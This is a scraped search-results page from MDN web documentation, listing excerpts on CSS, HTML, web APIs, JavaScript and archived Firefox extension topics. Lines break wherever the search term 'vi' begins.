... this can happen for display en
vironments which use superscaling or anti-aliasing techniques to improve perceived image quality.
...And 13 more matches
clip-path - CSS: Cascading Style Sheets
syntax /* keyword values */ clip-path: none; /* <clip-source> values */ clip-path: url(resources.svg#c1); /* <geometry-box> values */ clip-path: margin-box; clip-path: border-box; clip-path: padding-box; clip-path: content-box; clip-path: fill-box; clip-path: stroke-box; clip-path:
view-box; /* <basic-shape> values */ clip-path: inset(100px 50px); clip-path: circle(50px at 0 100px); clip-path: polygon(50% 0%, 100% 50%, 50% 100%, 0% 50%); clip-path: path('m0.5,1 c0.5,1,0,0.7,0,0.3 a0.25,0.25,1,1,1,0.5,0.3 a0.25,0.25,1,1,1,1,0.3 c1,0.7,0.5,1,0.5,1 z'); /* box and shape values combined */ clip-path: padding-box circle(50px at 0 100px); /* global values */ clip-path: inherit; c...
...
view-box uses the nearest svg
viewport as the reference box.
... if a
viewbox attribute is specified for the element creating the svg
viewport, the reference box is positioned at the origin of the coordinate system established by the
viewbox attribute and the dimension of the size of the reference box is set to the width and height values of the
viewbox attribute.
...And 13 more matches
<length> - CSS: Cascading Style Sheets
depending on the unit, this can be the size of a specific character, the line height, or the size of the
viewport.
...
viewport-percentage lengths
viewport-percentage lengths define the <length> value relative to the size of the
viewport, i.e., the
visible portion of the document.
...
viewport lengths are invalid in @page declaration blocks.
...And 13 more matches
The HTML autocomplete attribute - HTML: Hypertext Markup Language
autocomplete lets web developers specify what if any permission the user agent has to pro
vide automated assistance in filling out form field values, as well as guidance to the browser as to the type of information expected in the field.
... in order to pro
vide autocompletion, user-agents might require <input>/<select>/<textarea> elements to: have a name and/or id attribute be descendants of a <form> element the form to have a submit button values "off" the browser is not permitted to automatically enter or select a value for this field.
... it is possible that the document or application pro
vides its own autocomplete feature, or that security concerns require that the field's value not be automatically entered.
...And 13 more matches
<input type="number"> - HTML: Hypertext Markup Language
the browser may opt to pro
vide stepper arrows to let the user increase and decrease the value using their mouse or by simply tapping with a fingertip.
...the <datalist> pro
vides a list of predefined values to suggest to the user for this input.
...the values pro
vided are suggestions, not requirements: users can select from this predefined list or pro
vide a different value.
...And 13 more matches
Feature Policy - HTTP
feature policy allows web developers to selectively enable, disable, and modify the beha
vior of certain features and apis in the browser.
... it is similar to content security policy but controls features instead of security beha
vior.
... in a nutshell feature policy pro
vides a mechanism to explicitly declare what functionality is used (or not used), throughout your website.
...And 13 more matches
Progressive web apps (PWAs)
in order to call a web app a pwa, technically speaking it should have the following features: secure contexts (https), one or more ser
vice workers, and a manifest file.
...most of the features related to a pwa such as geolocation and even ser
vice workers are available only once the app has been loaded using https.
... ser
vice workers a ser
vice worker is a script that allows intercepting and control of how a web browser handles its network requests and asset caching.
...And 13 more matches
d - SVG: Scalable Vector Graphics
three elements have this attribute: <path>, <glyph>, and <missing-glyph> html,body,svg { height:100% } <svg
viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <path fill="none" stroke="red" d="m 10,30 a 20,20 0,0,1 50,30 a 20,20 0,0,1 90,30 q 90,60 50,90 q 10,60 10,30 z" /> </svg> path for <path>, d is a string containing a series of path commands that define the path to be drawn.
... moveto path commands moveto instructions can be thought of as picking up the drawing instrument, and setting it down somewhere else—in other words, mo
ving the current point (po; {xo, yo}).
... formula: pn = {xo + dx, yo + dy} examples html,body,svg { height:100% } <svg
viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <path fill="none" stroke="red" d="m 10,10 h 10 m 0,10 h 10 m 0,10 h 10 m 40,20 h 10 m 0,10 h 10 m 0,10 h 10 m 0,10 h 10 m 50,50 h 10 m-20,10 h 10 m-20,10 h 10 m-20,10 h 10" /> </svg> lineto path commands lineto instructions draw a straight line from the curre...
...And 13 more matches
Using the WebAssembly JavaScript API - WebAssembly
this example (see our instantiate-streaming.html demo on github, and
view it live also) shows how to use instantiatestreaming() to fetch a wasm module, import a javascript function into it, compile and instantiate it, and access its exported function — all in one step.
... add the following to your script, below the first block: webassembly.instantiatestreaming(fetch('simple.wasm'), importobject) .then(obj => obj.instance.exports.exported_func()); the net result of this is that we call our exported webassembly function exported_func, which in turn calls our imported javascript function imported_func, which logs the value pro
vided inside the webassembly instance (42) to the console.
... the equivalent code would look like this: fetch('simple.wasm').then(response => response.arraybuffer() ).then(bytes => webassembly.instantiate(bytes, importobject) ).then(results => { results.instance.exports.exported_func(); });
viewing wasm in developer tools in firefox 54+, the developer tool debugger panel has functionality to expose the text representation of any wasm code included in a web page.
...And 13 more matches
Miscellaneous - Archive of obsolete content
system info operating system detection // returns "winnt" on windows
vista, xp, 2000, and nt systems; // "linux" on gnu/linux; and "darwin" on mac os x.
... var osstring = ser
vices.appinfo.os; detecting the host application and version // get the name of the application running us ser
vices.appinfo.name; // returns "firefox" for firefox ser
vices.appinfo.version; // returns "2.0.0.1" for firefox version 2.0.0.1 retrie
ving the version of an extension as specified in the extension's install.rdf components.utils.import("resource://gre/modules/addonmanager.jsm"); addonmanager.getaddonbyid("extension-guid@example.org", function(addon) { // this is an asynchronous callback function that might not be called immediately alert("my extension's version is " + addon.version); }); restarting firefox/thunderbird/seamonkey_2.0 for firefox 3 see onwizardfinish around here: http://mxr.mozilla.org/seamonkey/sou...pdates.js#1639 for firefox 2 see aro...
...und here: http://mxr.mozilla.org/mozilla1.8/so...pdates.js#1631 bug 338039 tracks impro
ving this situation by pro
viding a simple method to restart the application.
...And 12 more matches
Displaying web content in an extension without security issues - Archive of obsolete content
one of the most common security issues with extensions is execution of remote code in pri
vileged context.
...the issue that is commonly overlooked here is that the rss feed could contain some malicious javascript code and it would then execute with the pri
vileges of the extension — meaning that it would get full access to the browser (cookies, history etc) and to user’s files.
...if you open "chrome://foo/content/foo.xul" in the browser, it will open as a content document despite ha
ving extended pri
vileges.
...And 12 more matches
Adding Toolbars and Toolbar Buttons - Archive of obsolete content
« pre
viousnext » adding a new toolbar adding new toolbars to firefox is easy, but adding them the wrong way is very easy as well.
...in most cases this is not what you want as default beha
vior, because it would be very hard for the user to discover your buttons.
... <window id="main-window"> <toolbox id="na
vigator-toolbox"> <toolbar id="xulschoolhello-toolbar" toolbarname="&xulschoolhello.toolbarname.label;" accesskey="&xulschoolhello.toolbar.accesskey;" customizable="true" mode="icons" context="toolbar-context-menu" defaultset="xulschoolhello-hello-world-button" insertbefore="personaltoolbar" /> </toolbox> </window> (note for mac os x: <window id="main-window"> and </window> are not required) our toolbar is added as a child of the toolbox element in the main browser window.
...And 12 more matches
Custom XUL Elements with XBL - Archive of obsolete content
« pre
viousnext » xml binding language (xbl, sometimes also called extensible bindings language) is a language for describing bindings that can be attached to elements in other documents.
... the element that the binding is attached to, called the bound element, acquires the new beha
vior specified by the binding.
...xbl is hea
vily used in xul, but in theory it could be applied to any xml language.
...And 12 more matches
The Box Model - Archive of obsolete content
« pre
viousnext » in order to master xul, you'll need to have a fairly good understanding of its box model.
... this is the system that determines how all elements are laid out
visually in a xul document.
...with xul you can define vertically oriented as well as horizontally oriented interfaces, pro
viding greater flexibility in interface design.
...And 12 more matches
JXON - Archive of obsolete content
a tree of nested instances of object) and
viceversa, with some different algorithms.
...until>dec 25, 1995</discount_until> <price>42.50</price> <size description="medium"> <color_swatch image="black_cardigan.jpg">black</color_swatch> </size> </catalog_item> </product> <script type="text/javascript"><![cdata[function matchwo(a,b) { if (a < b && a < 0) { return 1; } else { return 0; } }]]></script> </catalog> first, create a dom tree like the pre
vious example as described in the how to create a dom tree article.
...it is very similar to the pre
vious one, except that nodes which do not contain other recognizable nodes than text or cdatasection are not treated as objects, but directly as booleans, strings, numbers or date objects (see the parker convention).
...And 12 more matches
Embedding Mozilla in a Java Application using JavaXPCOM - Archive of obsolete content
this library pro
vides the interfaces necessary to bootstrap mozilla and call xpcom methods.
... to start embedding, we use the methods pro
vided by the mozilla singleton class.
... first, the java application must find a suitable xulrunner installation: mozilla mozilla = mozilla.getinstance(); greversionrange[] range = new greversionrange[1]; range[0] = new greversionrange("1.8.0", true, "1.9", false); // work with trunk nightly version 1.9a1 ^^ try { file grepath = mozilla.getgrepathwithproperties(range, null); locationpro
vider locpro
vider = new locationpro
vider(grepath); mozilla.initembedding(grepath, grepath, locpro
vider); } catch (filenotfoundexception e) { // this exception is thrown if gregrepathwithproperties cannot find a gre } catch (xpcomexception e) { // this exception is thrown if initembedding failed } locationpro
vider is a class pro
vided by the java application.
...And 12 more matches
How to Write and Land Nanojit Patches - Archive of obsolete content
this means that landing nanojit patches is a bit complicated, but experience has taught us that this is much better than ha
ving separate versions of nanojit.
... but don't push that update, as that should only be done by a member of that public repo.] once it passes testing, file the patch to bugzilla (file a bug under the "nanojit" component in the "core" product) and get a re
view.
... generally, patches by mozilla people should be re
viewed by adobe people and
vice versa.
...And 12 more matches
Supporting private browsing mode - Archive of obsolete content
extensions that may record potentially private information may wish to hook into the private browsing ser
vice so that they can avoid sa
ving personal information when private browsing mode is enabled.
... doing this is quite easy, using the nsiprivatebrowsingser
vice interface.
... just check the value of the privatebrowsingenabled attribute on the nsiprivatebrowsingser
vice ser
vice.
...And 12 more matches
Creating a Wizard - Archive of obsolete content
« pre
viousnext » many applications use wizards to help the user through complex tasks.
... xul pro
vides a way to create wizards easily.
...buttons appear at the bottom of the dialog to allow na
vigation between pages.
...And 12 more matches
browser - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a xul <browser> element represents a frame which is expected to contain a
view of a web document.
... attributes autocompleteenabled, autocompletepopup, autoscroll, disablehistory, disableglobalhistory, disablesecurity, droppedlinkhandler, homepage, showcaret, src, type properties accessibletype, cangoback, cangoforward, contentdocument, contentprincipal, contenttitle, content
vieweredit, content
viewerfile, contentwindow, currenturi, docshell, documentcharsetinfo, homepage, markupdocument
viewer, messagemanager, preferences, securityui, sessionhistory, webbrowserfind, webna
vigation, webprogress methods addprogresslistener, goback, goforward, gohome, gotoindex, loaduri, loaduriwithflags, reload, reloadwithflags, removeprogresslistener, stop, swapdocshells examples ...
... showcaret type: boolean whether or not to cause a typing caret to be
visible in the content area.
...And 12 more matches
Game monetization - Game development
if your work is a serious endeavour on the path to becoming an independent game developer able to make a li
ving, read on and see what your options are.
... paid games the first, most ob
vious choice that may come to your mind might be selling the games the way it is done for huge aaa titles — with a fixed, up front price.
... in-app purchases instead of ha
ving people pay for your game up front, you can offer a free game with in-app purchases (iaps.) in this case the game can be acquired without spending a dime — give the game to the players, but offer in-game currency, bonuses or benefits for real money.
...And 12 more matches
Mobile touch controls - Game development
over
view: control mechanisms next the future of mobile gaming is definitely web, and many developers choose the mobile first approach in their game development process — in the modern world, this generally also involves implementing touch controls.
... in this tutorial, we will see how easy it is to implement mobile controls in an html5 game, and enjoy playing on a mobile touch-enabled de
vice.
...ard: var el = document.getelementsbytagname("canvas")[0]; el.addeventlistener("touchstart", handlestart); el.addeventlistener("touchmove", handlemove); el.addeventlistener("touchend", handleend); el.addeventlistener("touchcancel", handlecancel); this way, touching the game's <canvas> on the mobile screen would emit events, and thus we could manipulate the game in any way we want (for example, mo
ving the space ship around).
...And 12 more matches
Gecko FAQ - Gecko Redirect 1
gecko has been known pre
viously by the code names "raptor" and "nglayout"; the new name was chosen following a trademark infringement dispute.
... gecko pro
vides the foundation needed to display content on the screen, including a layout engine and a complementary set of browser components.
...netscape released its own version of the browser branded as netscape na
vigator.
...And 12 more matches
CSS values and units - Learn web development
pre
vious over
view: building blocks next every property used in css has a value or set of values that are allowed for that property, and taking a look at any property page on mdn will help you understand the values that are valid for any particular property.
... relative length units relative length units are relative to something else, perhaps the size of the parent element's font, or the size of the
viewport.
... vw 1% of the
viewport's width.
...And 12 more matches
Web fonts - Learn web development
pre
vious over
view: styling text next in the first article of the module, we explored the basic css features available for styling fonts and text.
... objective: to learn how to apply web fonts to a web page, using either a third party ser
vice, or by writing your own code.
...you shouldn't steal fonts and use them without gi
ving proper credit.
...And 12 more matches
Accessibility information for UI designers and developers
your content can then be better consumed by users with low
vision and people with color deficiencies.
... see also: understanding sc 1.4.3: contrast the focus indicator users who na
vigate by keyboard (or other specialised input methods), rely on focus styles to see where they are on the page.
...it would be like remo
ving the mouse indicator.
...And 12 more matches
Translation phase
this is where the technical aspect of the process begins to di
vide.
... projects the mozilla projects and their l10n workflows are di
vided into these groups: mozilla applications, mozilla websites, and add-ons.
...this tool includes workspaces for translating strings, re
viewing string submissions, and project dashboards.
...And 12 more matches
Gecko Profiler FAQ
to stop the profiler from gathering more samples after the “startup end” marker that you’re interested in, you can call ser
vices.profiler.pause(); or you can insert a marker with a special string and then write a script that filters out all samples that were gathered after your marker.
... in this
view, the timestamps of indi
vidual samples / stacks will not be meaningful.
... profiler.firefox.com does not have a comparison
view at the moment.
...And 12 more matches
AsyncTestUtils extended framework
ils.js"); load("../../mailnews/resources/messagegenerator.js"); load("../../mailnews/resources/messagemodifier.js"); load("../../mailnews/resources/messageinjection.js"); if the directory where you are adding the tests does not have a head_*.js file that has the two following lines, add them at the top of your test file (before the lines shown above): load("../../mailnews/resources/maildirser
vice.js"); load("../../mailnews/resources/mailtestutils.js"); at the bottom of the test file, add the following: var tests =[ // list your tests here ]; function run_test() { configure_message_injection({mode: "local"}); async_run_tests(tests); } asynchronous testing basics why do we need it?
...this allows you to write reasonably normal looking functions instead of ha
ving to chain together a whole bunch of functions and callbacks.
...this does not involves the bayesian classifier and does not do anything like mo
ving the message to the junk folder.
...And 12 more matches
FIPS Mode - an explanation
(note: mozilla does not distribute a "fips mode"-ready nss with firefox.) this page attempts to pro
vide an informal explanation of what it is, who would use it, and why.
... one of the fips regulations, fips 140, governs the use of encryption and cryptographic ser
vices.
... it requires that all cryptography done by us government personnel must be done in "de
vices" that have been independently tested, and certified by nist, to meet the extensive requirements of that document.
...And 12 more matches
Setting up an update server
the goal of this document is to pro
vide instructions for installing a locally-served firefox update.
...this is a security measure designed to prevent anyone from ser
ving malicious updates.
...these are the files that must be changed: toolkit/components/maintenanceser
vice/moz.build toolkit/mozapps/update/tests/moz.build firefox should otherwise be built normally.
...And 12 more matches
Embedded Dialog API
this basic api will by itself pro
vide the minimal functionality gecko needs to create new windows, and an embedding application must implement at least this much.
... an embedding application must implement the nsiwindowcreator nsiwindowcreator interface and hand off a reference to the implementation to the windowcreator ser
vice during application initialization.
... an example of this can be found in the mfc embedding testbed application, in the method cmfcembedapp::initializewindowcreator (lxr link accurate at re
vision 1.20 of that file; search for the method name in later re
visions).
...And 12 more matches
Accessing the Windows Registry Using XPCOM
introduction when implementing windows-specific functionality, it is often useful to access the windows registry for information about the en
vironment or other installed programs.
... support in firefox 1.5 or newer in firefox 1.5, a new api was added, nsiwindowsregkey, which pro
vides extensive registry functionality.
...first, you must use createinstance() to get an object implementing this interface, not getser
vice().
...And 12 more matches
XPCOM Stream Guide
streams simply pro
vide a way to read or write data to some object.
...on the other hand, we use streams to access files within a zip archive, to store and pro
vide data coming from websites, even to talk to other programs on the same computer through "pipes" (more on that later).
...sstorageinputstream n/a nsiinputstream, nsiseekablestream storagestream.newinputstream(); string (8-bit characters) nsstringstream @mozilla.org/io/string-input-stream;1 nsistringinputstream stream.setdata(data, length); file nsfileinputstream @mozilla.org/network/file-input-stream;1 nsifileinputstream stream.init(file, ioflags, perm, beha
viorflags); zip nsjarinputstream n/a nsiinputstream zipreader.getinputstream(zipentry); similarly, each of these implements nsioutputstream.
...And 12 more matches
Components.utils.exportFunction
this function pro
vides a safe way to expose a function from a pri
vileged scope to a less-pri
vileged scope.
... in this way pri
vileged code, such as an extension, can share code with less-pri
vileged code like a normal web page script.
... a function exported from pri
vileged to less-pri
vileged code can be called from the less pri
vileged code's context.
...And 12 more matches
nsISelectionPrivate
method over
view void addselectionlistener(in nsiselectionlistener newlistener); void endbatchchanges(); void getcachedframeoffset(in nsiframe aframe, in print32 inoffset, in nspointref apoint); native code only!
...obsolete since gecko 12.0 long gettableselectiontype(in nsidomrange range); void removeselectionlistener(in nsiselectionlistener listenertoremove); void scrollinto
view(in short aregion, in boolean aissynchronous, in short avpercent, in short ahpercent); void setancestorlimiter(in nsicontent acontent); native code only!
... endplaceholdertransaction will give rise to reflow/refreshing
view/scroll, and call times of nstextframe::getpointfromoffset whose return value is to be cached.
...And 12 more matches
nsISessionStore
browser/components/sessionstore/nsisessionstore.idlscriptable pro
vides a means for extensions and other code to store data in association with browser sessions, tabs, and windows.
... the api operates on top-level browser.xul and na
vigator.xul windows; see note on windows for details.
... method over
view void deletetabvalue(in nsidomnode atab, in astring akey); void deletewindowvalue(in nsidomwindow awindow, in astring akey); nsidomnode duplicatetab(in nsidomwindow awindow, in nsidomnode atab); nsidomnode forgetclosedtab(in nsidomwindow awindow, in unsigned long aindex); nsidomnode forgetclosedwindow(in unsigned long aindex); astring getbrowserstate(); unsigned lon...
...And 12 more matches
Using the clipboard
this section pro
vides information about cutting, copying, and pasting to and from the clipboard.
... the clipboard mozilla pro
vides a number of interfaces for accessing the clipboard.
... const gclipboardhelper = components.classes["@mozilla.org/widget/clipboardhelper;1"] .getser
vice(components.interfaces.nsiclipboardhelper); gclipboardhelper.copystring("put me on the clipboard, please."); this example will first create a clipboard helper and then copy a short string to the clipboard.
...And 12 more matches
DOM Inspector FAQ - Firefox Developer Tools
inspect content document inspect content, e.g., unpri
vileged web pages loaded in a browser tab.
... inspect a url this just focuses the dom inspector's address bar, which allow you to inspect arbitrary documents which can be accessed
via a url.
...these can include chrome documents, but it's not suggested that you inspect xul documents by directly inspecting them
via url, since some beha
vior may rely on the document being contained in another xul document, or the converse, where it won't behave correctly because it doesn't expect to be loaded as a framed document.
...And 12 more matches
Examine and edit HTML - Firefox Developer Tools
na
vigating the html html breadcrumbs at the bottom on the html pane is a breadcrumbs toolbar.
... xpath search it is also possible to search
via xpaths.
... html tree the rest of the pane shows you the page's html as a tree (this ui is also called the markup
view).
...And 12 more matches
Content Index API - Web APIs
this allows users to discover and
view what is available, whilst gi
ving developers the ability to add and manage this content.
... the content index api is an extension to ser
vice workers, which allows developers to add urls and metadata of already cached pages, under the scope of the current ser
vice worker.
...instead, you need to pro
vide a url for a page that displays media, and which works offline.
...And 12 more matches
Using Fetch - Web APIs
the fetch api pro
vides a javascript interface for accessing and manipulating parts of the http pipeline, such as requests and responses.
... it also pro
vides a global fetch() method that pro
vides an easy, logical way to fetch resources asynchronously across the network.
... this kind of functionality was pre
viously achieved using xmlhttprequest.
...And 12 more matches
MediaTrackConstraints - Web APIs
for example, because rtp doesn't pro
vide some of these values during negotiation of a webrtc connection, a track associated with a rtcpeerconnection will not include certain values, such as facingmode or groupid.
... properties of all media tracks de
viceid a constraindomstring object specifying a de
vice id or an array of de
vice ids which are acceptable and/or required.
... colortemperature a constraindouble (a double-precision integer) specifying a desired color temperature in degrees kel
vin.
...And 12 more matches
URLUtilsReadOnly - Web APIs
the obsolete urlutilsreadonly interface pre
viously defined utility methods for working with urls.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung interneturlutilsreadonlychrome no support noedge no support nofirefox full support 57 full support 57 no support 3.5 ...
...— 57notes notes firefox has a bug whereby single quotes contained in urls are escaped when accessed
via url apis (see bug 1386683).ie no support noopera no support nosafari no support noweb
view android no support nochrome android no support nofirefox android full support 57 full support 57 no support 4 — 57notes notes firefox has a bug whereby single quotes contained in urls are escaped when accessed
via url apis (see bug 1386683).opera android ...
...And 12 more matches
Adding 2D content to a WebGL context - Web APIs
« pre
viousnext » once you've successfully created a webgl context, you can start rendering into it.
...it's just we're drawing a square and we're putting it directly in front of the camera perpendicular to the
view direction.
... the vertex shader must perform the needed transforms on the vertex's position, make any other adjustments or calculations it needs to make on a per-vertex basis, then return the transformed vertex by sa
ving it in a special variable pro
vided by glsl, called gl_position.
...And 12 more matches
Using DTMF with WebRTC - Web APIs
in order to more fully support audio/
video conferencing, webrtc supports sending dtmf to the remote peer on an rtcpeerconnection.
... this article offers a brief high-level over
view of how dtmf works over webrtc, then pro
vides a guide for everyday developers about how to send dtmf over an rtcpeerconnection.
...webrtc currently ignores these payloads; this is because webrtc's dtmf support is primarily intended for use with legacy telephone ser
vices that rely on dtmf tones to perform tasks such as: teleconferencing systems menu systems voicemail systems entry of credit card or other payment information passcode entry note: while the dtmf is not sent to the remote peer as audio, browsers may choose to play the corresponding tone to the local user as part of their user experience, since users are typically used to hearing their ph...
...And 12 more matches
XRSystem: requestSession() - Web APIs
the supported modes are: immersive-ar the session's output will be given exclusive access to the immersive de
vice, but the rendered content will be blended with the real-world en
vironment.
... the session's en
vironmentblendmode indicates the method to be used to blend the content together.
... immersive-vr indicates that the rendered session will be displayed using an immersive xr de
vice in vr mode; it is not intended to be overlaid or integrated into the surrounding en
vironment.
...And 12 more matches
Architecture - Accessibility
the text is actually exposed
via a special text interface in the parent of the text nodes.
...their text is actually exposed in their parent nshypertextaccessible
via nsiaccessibletext.
...pre
viously the hyper link interface was really only for links, but the design could not fully represent an html document hierarchy.
...And 12 more matches
Variable fonts guide - CSS: Cascading Style Sheets
variable fonts are an evolution of the opentype font specification that enables many different variations of a typeface to be incorporated into a single file, rather than ha
ving a separate font file for every width, weight, or style.
... they let you access all the variations contained in a given font file
via css and a single @font-face reference.
... variable fonts: what they are, and how they differ to better understand what's different about variable fonts, it is worth re
viewing what non-variable ones are like and how they compare.
...And 12 more matches
Mobile Web Development - Developer guides
this page pro
vides an over
view of some of the main techniques needed to design web sites that work well on mobile de
vices.
... we've organized it into two sections, designing for mobile de
vices and cross-browser compatibility.
... designing for mobile de
vices mobile de
vices have quite different hardware characteristics compared with desktop or laptop computers.
...And 12 more matches
Global attributes - HTML: Hypertext Markup Language
the multiple aria-* attributes, used for impro
ving accessibility.
... list of global attributes accesskey pro
vides a hint for generating a keyboard shortcut for the current element.
...classes allows css and javascript to select and access specific elements
via the class selectors or functions like the method document.getelementsbyclassname().
...And 12 more matches
Content-Security-Policy - HTTP
img-src specifies valid sources of images and fa
vicons.
... media-src specifies valid sources for loading media using the <audio> , <
video> and <track> elements.
... elements controlled by object-src are perhaps coincidentally considered legacy html elements and are not recei
ving new standardized features (such as the security attributes sandbox or allow for <iframe>).
...And 12 more matches
Function.prototype.bind() - JavaScript
the bind() method creates a new function that, when called, has its this keyword set to the pro
vided value, with a given sequence of arguments preceding any pro
vided when the new function is called.
...if no arguments are pro
vided to bind , or if the thisarg is null or undefined, the this of the executing scope is treated as the thisarg for the new function.
... arg1, arg2, ...argn optional arguments to prepend to arguments pro
vided to the bound function when invoking func.
...And 12 more matches
Operator precedence - JavaScript
precedence and associati
vity consider an expression describable by the representation below.
... a op1 b op2 c if op1 and op2 have different precedence levels (see the table below), the operator with the highest precedence goes first and associati
vity does not matter.
... console.log(3 + 10 * 2); // logs 23 console.log(3 + (10 * 2)); // logs 23 because parentheses here are superfluous console.log((3 + 10) * 2); // logs 26 because the parentheses change the order left-associati
vity (left-to-right) means that it is processed as (a op1 b) op2 c, while right-associati
vity (right-to-left) means it is interpreted as a op1 (b op2 c).
...And 12 more matches
File I/O - Archive of obsolete content
if you need to use file:// uris as initializers, see discussion of nsiioser
vice below.
...var file = components.classes["@mozilla.org/file/directory_ser
vice;1"].
... getser
vice(components.interfaces.nsiproperties).
...And 11 more matches
Extension Versioning, Update and Compatibility - Archive of obsolete content
as a rough over
view this is a version string split by periods, some examples: 2.0 1.0b1 3.0pre1 5.0.1.2 note: before firefox 1.5 the more basic firefox version format was used: major.minor.release.build[+] where only digits were allowed.
... valid application versions automatic add-on update checking applications will periodically check for updates to installed add-ons by retrie
ving the updateurl.
...pre
viously, it was possible to wind up with two copies of the same add-on installed.
...And 11 more matches
Adding sidebars - Archive of obsolete content
« pre
viousnext » the sidebar in firefox is a relatively large and flexible space to add rich interfaces without requiring new windows or complicated overlays.
... sidebars take as much space as the user wants them to, and pro
vide a frame where you can add elaborate data and controls.
...if not, you can open either one from the
view > sidebar menu.
...And 11 more matches
Local Storage - Archive of obsolete content
« pre
viousnext » note: you may rather be looking for dom storage (localstorage, etc.), unless you really are doing xul development.
...the structure could be something like this: s435l.default (your profile directory) xulschool log.txt somedbfile.sqlite the directory ser
vice and the nsifile interface are used to create the local directory.
... getlocaldirectory : function() { let directoryser
vice = cc["@mozilla.org/file/directory_ser
vice;1"].
...And 11 more matches
The Essentials of an Extension - Archive of obsolete content
« pre
viousnext » the install.rdf file in the last section we looked at the contents of the hello world extension.
...all firefox windows can be seen as ha
ving two parts: (1) the chrome and (2) possibly a content area, like the one that displays web pages in a firefox tab.
...the most common case is ha
ving one skin entry for the global skin, classic/1.0, and multiple locale entries, one for each translation.
...And 11 more matches
Creating regular expressions for a microsummary generator - Archive of obsolete content
here's a url for an auction item page on ebay: http://cgi.ebay.com/ws/ebayisapi.dll?
viewitem&item=280018439106 in this url, the domain name is "cgi.ebay.com", the file path is "/ws/ebayisapi.dll", and the query parameters are "?
viewitem&item=280018439106".
... here's a regular expression that matches our example url: http://cgi\.ebay\.com/ws/ebayisapi\.dll\?
viewitem&item=280018439106 it looks almost the same as the url.
... matching from the start of the url while this expression matches the url, it also matches other urls that contain this url in their query parameters, for example: http://www.example.com/redirect.php?url=http://cgi.ebay.com/ws/ebayisapi.dll?
viewitem&item=280018439106 that's probably not what we want, since urls that contain our example url probably aren't auction item pages themselves.
...And 11 more matches
Introduction to XUL - Archive of obsolete content
we intend to pro
vide a subset of cross-platform functionality suitable for building network applications like browsers, leveraging the cross-platform functionality already built into gecko, mozilla's html layout engine.
... mozilla applications will be built of "small" components like dialog buttons and mail inbox folders, which we collectively term "widgets." within a widget, drawing and user interactions are completely under control of the indi
vidual widget, and set when the widget was built.
... widgets will have predefined beha
viour, set at compilation.
...And 11 more matches
Styling a Tree - Archive of obsolete content
« pre
viousnext » the following describes how to style a tree.
...this can be used with trees with static content, rdf built content or with those with a custom
view.
...this is because you can specify the style for a number of parts of the cell indi
vidually.
...And 11 more matches
Building a Theme - Archive of obsolete content
setting up the development en
vironment themes and extensions are packaged and distributed in zip files or bundles, with the xpi (pronounced “zippy”) file extension.
... an example of the content within a typical xpi file for a theme: example.xpi: /install.rdf /chrome.manifest /pre
view.png /icon.png /chrome/ browser/ communicator/ global/ mozapps/ we'll want to create a file structure similar to the one above for our tutorial, so let's begin by creating a folder for your theme somewhere on your hard disk (e.g.
...the file pre
view.png is shown as a pre
view of the theme in the themes panel of the add-ons window.
...And 11 more matches
Developing cross-browser and cross-platform pages - Archive of obsolete content
browser identification approach (aka "browser sniffing"): not best, not reliable approach this approach, still commonly used nowadays, attempts to identify the browser and makes the web author at design time decide what that implies in terms of capabilities of the
visiting browser.
...it requires from the web author to have knowledge of the capabilities of all current browsers that may
visit the page and then to code appropriately for these.
... it requires from the web author to make assumptions about what will happen with future browsers or to decide to pro
vide future browsers a safe fallback ser
vice.
...And 11 more matches
Unconventional controls - Game development
pre
vious over
view: control mechanisms ha
ving different control mechanisms in your game helps reach broader audiences.
...you can also check this handy cheat sheet seen below if you're working with panasonic tvs running firefox os: you can add mo
ving between states, starting a new game, controlling the ship and blowing stuff up, pausing and restarting the game.
... } }, this); you can see it in action by watching this
video.
...And 11 more matches
MVC - MDN Web Docs Glossary: Definitions of Web-related terms
mvc (model-
view-controller) is a pattern in software design commonly used to implement user interfaces, data, and controlling logic.
...this "separation of concerns" pro
vides for a better di
vision of labor and improved maintenance.
... some other design patterns are based on mvc, such as mvvm (model-
view-
viewmodel), mvp (model-
view-presenter), and mvw (model-
view-whatever).
...And 11 more matches
Fundamental text and font styling - Learn web development
over
view: styling text next in this article we'll start you on your journey towards mastering text styling with css.
... note: if the above paragraph leaves you feeling confused, then no matter — go back and re
view our box model article, to brush up on the box model theory, before carrying on.
...it represents a worst case scenario where the browser will try to do its best to pro
vide at least a font that looks appropriate.
...And 11 more matches
HTML basics - Learn web development
pre
vious over
view: getting started with the web next html (hypertext markup language) is the code that is used to structure a web page and its content.
... an attribute should always have the following: a space between it and the element name (or the pre
vious attribute, if the element already has one or more attributes).
... anatomy of an html document that wraps up the basics of indi
vidual html elements, but they aren't handy on their own.
...And 11 more matches
Publishing your website - Learn web development
pre
vious over
view: getting started with the web next once you finish writing the code and organizing the files that make up your website, you need to put it all online so people can find it.
...the web server pro
vides website content to website
visitors.
...ftp programs vary widely, but generally, you have to connect to your web server using details pro
vided by your hosting company (typically username, password, hostname).
...And 11 more matches
The web and web standards - Learn web development
this article pro
vides some useful background on the web — how it came about, what web standard technologies are, how they work together, why "web developer" is a great career to choose, and what kinds of best practices you'll learn about through the course.
... fast forward to 1989, and timbl wrote information management: a proposal and hypertext at cern; these two publications together pro
vided the background for how the web would work.
... they received a fair amount of interest, enough to con
vince timbl's bosses to allow him to go ahead and create a global hypertext system.
...And 11 more matches
Arrays - Learn web development
pre
vious over
view: first steps next in the final article of this module, we'll look at arrays — a neat way of storing a list of data items under a single variable name.
...array objects can be stored in variables and dealt with in much the same way as any other type of value, the difference being that we can access each value inside the list indi
vidually, and do super useful and efficient things with the list, like loop through it and do the same thing to every value.
... as in pre
vious articles, let's learn about the real basics of arrays by entering some examples into browser developer console.
...And 11 more matches
Basic math in JavaScript — numbers and operators - Learn web development
pre
vious over
view: first steps next at this point in the course we discuss math in javascript — how we can use operators and other features to successfully manipulate numbers to do our bidding.
...some of us like math, some of us have hated math ever since we had to learn multiplication tables and long di
vision in school, and some of us sit somewhere in between the two.
... 3 * 7 / di
vision di
vides the left number by the right.
...And 11 more matches
Ember resources and troubleshooting - Learn web development
pre
vious over
view: client-side javascript frameworks next our final ember article pro
vides you with a list of resources that you can use to go further in your learning, plus some useful troubleshooting and other information.
... objective: to pro
vide further resource links and troubleshooting information.
... for framework-specific things, there is the ember-inspector add-on, which allows inspection of: routes & controllers components ser
